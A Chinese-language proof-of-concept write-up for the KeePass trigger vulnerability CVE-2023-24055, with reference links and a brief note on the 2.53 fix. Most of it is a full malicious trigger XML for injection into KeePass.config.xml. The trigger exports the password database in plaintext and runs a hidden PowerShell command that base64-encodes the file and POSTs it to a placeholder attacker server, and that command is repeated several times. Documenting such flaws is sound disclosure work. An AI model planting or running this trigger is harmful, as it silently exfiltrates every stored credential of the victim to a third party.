https://sourceforge.net/p/keepass/discussion/329220/thread/a146e5cf6b/
https://sourceforge.net/p/keepass/feature-requests/2773/
攻击者如果拥有对 KeePass 配置文件的写入权限，可以修改该文件并注入恶意触发器，例如通过添加导出触发器来获取明文密码。
https://nvd.nist.gov/vuln/detail/CVE-2023-24055
https://www.cve.org/CVERecord?id=CVE-2023-24055
(1) 攻击者如果拥有对 KeePass 配置文件 KeePass.config.xml 的写入权限，可以注入以下触发器，例如：
<?xml version="1.0" encoding="utf-8"?>
<TriggerCollection xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">
<Triggers>
<Trigger>
<Guid>lztpSRd56EuYtwwqntH7TQ==</Guid>
<Name>exploit</Name>
<Events>
<Event>
<TypeGuid>s6j9/ngTSmqcXdW6hDqbjg==</TypeGuid>
<Parameters>
<Parameter>0</Parameter>
<Parameter />
</Parameters>
</Event>
</Events>
<Conditions />
<Actions>
<Action>
<TypeGuid>D5prW87VRr65NO2xP5RIIg==</TypeGuid>
<Parameters>
<Parameter>c:\Users\John\AppData\Local\Temp\exploit.xml</Parameter>
<Parameter>KeePass XML (2.x)</Parameter>
<Parameter />
<Parameter />
</Parameters>
</Action>
<Action>
<TypeGuid>2uX4OwcwTBOe7y66y27kxw==</TypeGuid>
<Parameters>
<Parameter>PowerShell.exe</Parameter>
<Parameter>-ex bypass -noprofile -c Invoke-WebRequest -uri http://attacker_server_here/exploit.raw -Method POST -Body ([System.Convert]::ToBase64String([System.IO.File]::ReadAllBytes('c:\Users\John\AppData\Local\Temp\exploit.xml'))) </Parameter>
<Parameter>False</Parameter>
<Parameter>1</Parameter>
<Parameter />
</Parameters>
</Action>
</Actions>
</Trigger>
</Triggers>
</TriggerCollection>
(2) 受害者像往常一样打开 KeePass、保存更改等操作时，触发器会在后台执行，将凭据泄露到攻击者服务器。
a) 触发器会将 KeePass 数据库导出为 KeePass XML (2.x) 格式，其中包含所有凭据 (明文)，导出到以下路径，例如：
c:\Users\John\AppData\Local\Temp\exploit.xml
b) 导出文件后，可以定义第二个操作，使用 Powershell.exe 将 XML 数据编码为 base64 并泄露，例如：
PowerShell.exe -ex bypass -noprofile -c Invoke-WebRequest -uri http://attacker_server_here/exploit.raw -Method POST -Body ([System.Convert]::ToBase64String([System.IO.File]::ReadAllBytes('c:\Users\John\AppData\Local\Temp\exploit.xml')))
c) 数据将泄露到攻击者的网页服务器，例如：
名称: Trigger
事件: 已保存数据库文件 | [等于]
条件: <空>
操作:
(1) 导出活动数据库
文件/URL: c:\Users\John\AppData\Local\Temp\exploit.xml
文件/格式: KeePass XML (2.x)
(2) 执行命令行 / URL
文件/URL: PowerShell.exe
参数: -ex bypass -noprofile -c Invoke-WebRequest -uri http://attacker_server_here/exploit.raw -Method POST -Body ([System.Convert]::ToBase64String([System.IO.File]::ReadAllBytes('c:\Users\John\AppData\Local\Temp\exploit.xml')))
窗口样式: 隐藏
凭据...
PS C:\Users\John\AppData\Local\Temp> type .\exploit.xml | Select-String -Pattern Password
https://keepass.info/help/kb/trigger_examples.html
https://keepass.info/news/n230109_2.53.html
移除了“导出 - 无需重复输入密钥”应用程序策略标志；KeePass 现在在尝试导出数据时始终要求输入当前主密钥。
https://www.trustedsec.com/blog/what-this-keepass-cve-means-for-organizations-searching-for-new-password-vaults/
https://www.youtube.com/watch?v=OEaFaSjaZY4
https://www.youtube.com/watch?v=iz0PsYlH8Ig
https://www.it-connect.fr/keepass-2-53-1-une-nouvelle-version-qui-corrige-la-vulnerabilite/
https://www.it-connect.fr/faille-critique-dans-keepass-un-attaquant-peut-exporter-les-mots-de-passe-en-clair/
https://github.com/deetl/CVE-2023-24055
https://blog.harmj0y.net/redteaming/keethief-a-case-study-in-attacking-keepass-part-2/
https://github.com/Orange-Cyberdefense/KeePwn
Alex Hernandez aka (@_alt3kx_)